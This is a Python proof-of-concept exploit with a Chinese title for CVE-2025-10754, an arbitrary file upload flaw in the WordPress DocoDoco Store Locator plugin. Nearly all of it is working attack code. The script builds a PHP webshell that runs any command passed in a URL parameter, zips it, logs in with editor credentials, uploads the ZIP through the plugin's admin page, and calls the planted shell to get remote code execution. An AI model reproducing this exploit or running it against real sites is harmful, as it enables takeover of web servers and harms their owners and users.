CVE-2025-10754：WordPress DocoDoco Store Locator插件任意文件上传漏洞

# CVE-2025-10754 PoC - DocoDoco Store Locator Arbitrary File Upload # Exploit: Upload malicious PHP file via ZIP upload functionality import requests import zipfile import io import os TARGET_URL = "http://target-wordpress-site.com" USERNAME = "editor_user" PASSWORD = "editor_password" # Step 1: Create malicious PHP webshell webshell_content = b"""<?php // Webshell for demonstrating RCE if(isset($_GET['cmd'])) { system($_GET['cmd']); } ?>""" # Step 2: Create ZIP file containing the webshell def create_malicious_zip(): zip_buffer = io.BytesIO() with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zf: # Place PHP shell inside the ZIP with a .php extension zf.writestr("shell.php", webshell_content) zip_buffer.seek(0) return zip_buffer # Step 3: Authenticate to WordPress as Editor session = requests.Session() login_url = f"{TARGET_URL}/wp-login.php" # Get login form first (to retrieve any nonce tokens) resp = session.get(login_url) # Submit login credentials login_data = { "log": USERNAME, "pwd": PASSWORD, "wp-submit": "Log In", "redirect_to": f"{TARGET_URL}/wp-admin/", "testcookie": "1" } session.post(login_url, data=login_data, cookies={"wordpress_logged_in_": "test"}) # Step 4: Navigate to the DocoDoco Store Locator ZIP upload page upload_url = f"{TARGET_URL}/wp-admin/admin.php?page=docodoco-store-locator" # Step 5: Upload the malicious ZIP file zip_data = create_malicious_zip() files = { "zip_file": ("exploit.zip", zip_data, "application/zip") } # The plugin endpoint processes ZIP uploads without validating file types inside upload_resp = session.post(upload_url, files=files) # Step 6: Access the uploaded webshell # The shell.php is extracted to a web-accessible directory shell_url = f"{TARGET_URL}/wp-content/uploads/docodoco/shell.php?cmd=id" shell_resp = requests.get(shell_url) if shell_resp.status_code == 200: print(f"[+] RCE successful! Output: {shell_resp.text}") else: print("[-] Exploit failed, check target configuration")